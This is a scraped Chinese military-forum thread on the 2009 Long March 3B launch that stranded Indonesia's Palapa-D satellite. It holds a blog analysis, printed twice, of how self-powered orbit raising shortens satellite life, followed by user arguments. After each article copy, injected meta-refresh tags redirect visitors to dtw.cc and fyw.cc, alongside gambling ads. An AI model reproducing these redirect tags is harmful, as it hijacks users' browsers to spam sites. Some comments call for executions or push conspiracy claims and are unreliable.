胡参谋长:印尼卫星失而复得或减少卫星使用寿命

来源:百度文库 编辑:超级军网 时间:2024/04/26 13:00:47
<br /><br />http://blog.ifeng.com/article/3114172.html
8月31日17时28分,我国在西昌卫星发射中心用“长征三号乙”运载火箭发射印度尼西亚“帕拉帕-D”(PALAPA-D)通信卫星,火箭一、二级飞行正常,三级二次点火后出现异常情况,未能将卫星送入预定轨道,具体原因有关专家正在分析中。

但据新华网西昌8月31日最新消息,今天23时,据“帕拉帕-D”(PALAPA-D)卫星制造商法国泰雷兹阿莱尼亚宇航公司悉,卫星已捕获,状态正常,可以实施卫星变轨。

这说明挽救该卫星的行动将从卫星本身做起,这就需要卫星的研制厂商来具体操作。一般而言,运载火箭负责将卫星送到转移轨道或者准同步轨道,然后由卫星自身携带的发动机通过多次点火变轨实现向最终同步轨道的转移。但这次由此“长征三号乙”运载火箭发生故障,导致三级火箭未能如愿将卫星送入转移轨道或者准同步轨道,而停留在一个过渡的轨道上,这就需要卫星不得不通过提前开启自身的发动机装置,送自己到转移轨道或者准同步轨道,再通过二次甚至三次变轨最终进入同步轨道。这就本身需要卫星消耗一定量的自身携带的燃料。由于卫星在同步轨道或者其他运行轨道上运行都不是那么简单事情,由于地球引力或极为稀薄的大气对卫星的阻力使其运行缓慢减速而形成,其结果卫星自然会持续向地球靠近,因此卫星都需要通过不断地消耗燃料开启发动机来修正偏离的轨道实现其正常工作,因此,如果这次为了弥补火箭三级故障而消耗了太多的自身燃料,那么卫星用来维持轨道的燃料就会不够用一维持其设计寿命的年限,举个例子也许卫星本来可以维持10年在轨运行,但经过此次消耗也许可能就只能维持2年轨道修正的能源,从而导致卫星实际使用寿命的缩短。

当然完全依靠卫星发动机本身实现更远程和长时间的机动变轨尝试就是具备很大的风险,这对于卫星发动机和地面测发控系统都是一大考验。
<meta http-equiv="refresh" content="0; url=http://dtw.cc">
<meta http-equiv="refresh" content="0; url=http://fyw.cc">
<link href="http://dtw.cc/gfh8.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://fyw.cc/56789.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球←篮球...各类投注←开户下注
<P>&nbsp;</P>
推荐→第一投注:倍率高←存取速度快.国内最好的投注平台<br /><br />http://blog.ifeng.com/article/3114172.html
8月31日17时28分,我国在西昌卫星发射中心用“长征三号乙”运载火箭发射印度尼西亚“帕拉帕-D”(PALAPA-D)通信卫星,火箭一、二级飞行正常,三级二次点火后出现异常情况,未能将卫星送入预定轨道,具体原因有关专家正在分析中。

但据新华网西昌8月31日最新消息,今天23时,据“帕拉帕-D”(PALAPA-D)卫星制造商法国泰雷兹阿莱尼亚宇航公司悉,卫星已捕获,状态正常,可以实施卫星变轨。

这说明挽救该卫星的行动将从卫星本身做起,这就需要卫星的研制厂商来具体操作。一般而言,运载火箭负责将卫星送到转移轨道或者准同步轨道,然后由卫星自身携带的发动机通过多次点火变轨实现向最终同步轨道的转移。但这次由此“长征三号乙”运载火箭发生故障,导致三级火箭未能如愿将卫星送入转移轨道或者准同步轨道,而停留在一个过渡的轨道上,这就需要卫星不得不通过提前开启自身的发动机装置,送自己到转移轨道或者准同步轨道,再通过二次甚至三次变轨最终进入同步轨道。这就本身需要卫星消耗一定量的自身携带的燃料。由于卫星在同步轨道或者其他运行轨道上运行都不是那么简单事情,由于地球引力或极为稀薄的大气对卫星的阻力使其运行缓慢减速而形成,其结果卫星自然会持续向地球靠近,因此卫星都需要通过不断地消耗燃料开启发动机来修正偏离的轨道实现其正常工作,因此,如果这次为了弥补火箭三级故障而消耗了太多的自身燃料,那么卫星用来维持轨道的燃料就会不够用一维持其设计寿命的年限,举个例子也许卫星本来可以维持10年在轨运行,但经过此次消耗也许可能就只能维持2年轨道修正的能源,从而导致卫星实际使用寿命的缩短。

当然完全依靠卫星发动机本身实现更远程和长时间的机动变轨尝试就是具备很大的风险,这对于卫星发动机和地面测发控系统都是一大考验。
<meta http-equiv="refresh" content="0; url=http://dtw.cc">
<meta http-equiv="refresh" content="0; url=http://fyw.cc">
<link href="http://dtw.cc/gfh8.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://fyw.cc/56789.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球←篮球...各类投注←开户下注
<P>&nbsp;</P>
推荐→第一投注:倍率高←存取速度快.国内最好的投注平台
还是发展空间燃料注射技术吧。。。。。。。。。。
腐败,官僚,浮夸,好大喜功,终于灭了航天的不败金身。
如果卫星能最终入轨,就算成功了一半吧。:D
和棒子一样,叫部分成功。
该杀几个有罪的人,以谢国人
wi0001 发表于 2009-9-1 16:21

我觉得卫星进入轨道了,就是成功了。

火箭发射是为了什么?不就是为了把卫星送入轨道吗?所以我认为是成功的,但中间出现了一些问题~~
加紧发展太空加油技术。
太多体制党,一个偶然失误就可以牵涉这么的东西,美国的航天飞机都爆了两架,怎么美国没人提出杀几个人以谢国人呢?美国人真T M太笨了。
yjnchf 发表于 2009-9-1 20:03


==============正常对某些人来说在国内叫体制问题,在国外是技术问题。
胡参谋长的文章都到CD来啦···哈哈········
其实,失败的确是航天的一部分.金身破了,一颗心也落下来了.有时成就是最大的负担.中国航天,一路走好.
isee660 发表于 2009-9-1 19:07

该杀的是你
yjnchf 发表于 2009-9-1 20:03
columbia解体之后Nasa受了多大压力你知道么?
aksobhya 发表于 2009-9-1 16:20
我们这次卫星发射被敌对方攻击了!
用脑子考虑问题!
联想一下最近的韩国卫星失败和印度绕月卫星突然失败!!
外星人!!!
14# thomasyoung
但请不要什么都归结到体制上!
thomasyoung 发表于 2009-9-2 00:21
切腹了几个?电椅了几个?枪毙了几个?服毒了几个?跳海了几个?跳楼了几个?
对于发射方来说,只要一按电钮,火箭一飞出去就OK,不管成功与否都将按规定收钱,剩下的就是保险公司的事,对于发射方来说承担的更多的是发射失败的声誉损失.
记得哪里听见过,美帝早发展太空加油技术了,哪位知道的透露点。
jacksmith 发表于 2009-9-2 16:33
苏联的进步货运飞船早就在给太空站补充燃料了。
这个什么长不是跟死妈平磅一个类型的玩意:o
rottenweed 发表于 2009-9-2 17:36
他说的是带机械臂的那个,能给卫星换电池、备件和燃料。进步号这样的咚咚只有太空站才消受得起,其他卫星连接都接不起来。
jacksmith 发表于 2009-9-2 16:33
你说的是propellant depot ?

图片1.jpg

你说的是propellant depot ?

1162626
cmj9808 发表于 2009-9-2 18:37

我猜他更可能指的是‘自主太空运输机器人(ASTRO)’。

9_15_46_23_277.jpg
你说的是propellant depot ?

1162626
cmj9808 发表于 2009-9-2 18:37

我猜他更可能指的是‘自主太空运输机器人(ASTRO)’。

9_15_46_23_277.jpg
miaomiaomiao 发表于 2009-9-2 18:47
和propellant depot 相比,ASTRO更像是太空维修站而非加油站。不过ASTRO验证的技术正是propellant depot 所必需的。
把卫星的“油箱”做大点。:D
卫星变轨应该是法国人的事了吧,卫星是法国的,可以说是法国人帮了中国火箭人,当年休斯拯救入轨失败的亚星3才NB,居然用上了绕月轨道,历时2个月定点在赤道上空,把通信卫星送入绕月轨道再飞回来,这技术实力真TM强
看热闹的 发表于 2009-9-2 15:07
三只梅花鹿
切腹了几个?电椅了几个?枪毙了几个?服毒了几个?跳海了几个?跳楼了几个?
10# 175799023


:handshake

对于发射方来说,只要一按电钮,火箭一飞出去就OK,不管成功与否都将按规定收钱,剩下的就是保险公司的事,对于发射方来说承担的更多的是发射失败的声誉损失.
lyjlhlc 发表于 2009-9-2 15:31


这是胡扯。发射方必须将卫星送入指定轨道,误差超出规定指标都要赔钱,更不要说这次彻底打飞了
对于发射方来说,只要一按电钮,火箭一飞出去就OK,不管成功与否都将按规定收钱,剩下的就是保险公司的事,对于发射方来说承担的更多的是发射失败的声誉损失.
lyjlhlc 发表于 2009-9-2 15:31


这是胡扯。发射方必须将卫星送入指定轨道,误差超出规定指标都要赔钱,更不要说这次彻底打飞了
听说美国航天飞机可以给卫星直接添加燃料,如果这样的话美国花那么多钱也不亏,虽然摔了2架了。
6# isee660
那毛子的美国的航天人毙了多少???
拿航天飞机上去给卫星加油的成本都可以买几颗新卫星了
butiger 发表于 2009-9-1 19:45

问题是火箭没把卫星送入轨道,是卫星自己变轨过去的,使用寿命应该大受影响。
aksobhya 发表于 2009-9-1 16:20
这位是体制党吧!

照你这么说,美国2架航天飞机爆炸是不是由“腐败,官僚,浮夸,好大喜功”照成的?
aksobhya 发表于 2009-9-1 16:20
90年代初发射场火箭当场爆炸死了多少人你知道么?
不要被官方报喜不报忧给忽悠了(近些年忧也开始报了)
回楼上,听轮子功说,炸死了十个亿。
10个亿算个毛,起码炸死了三千大千世界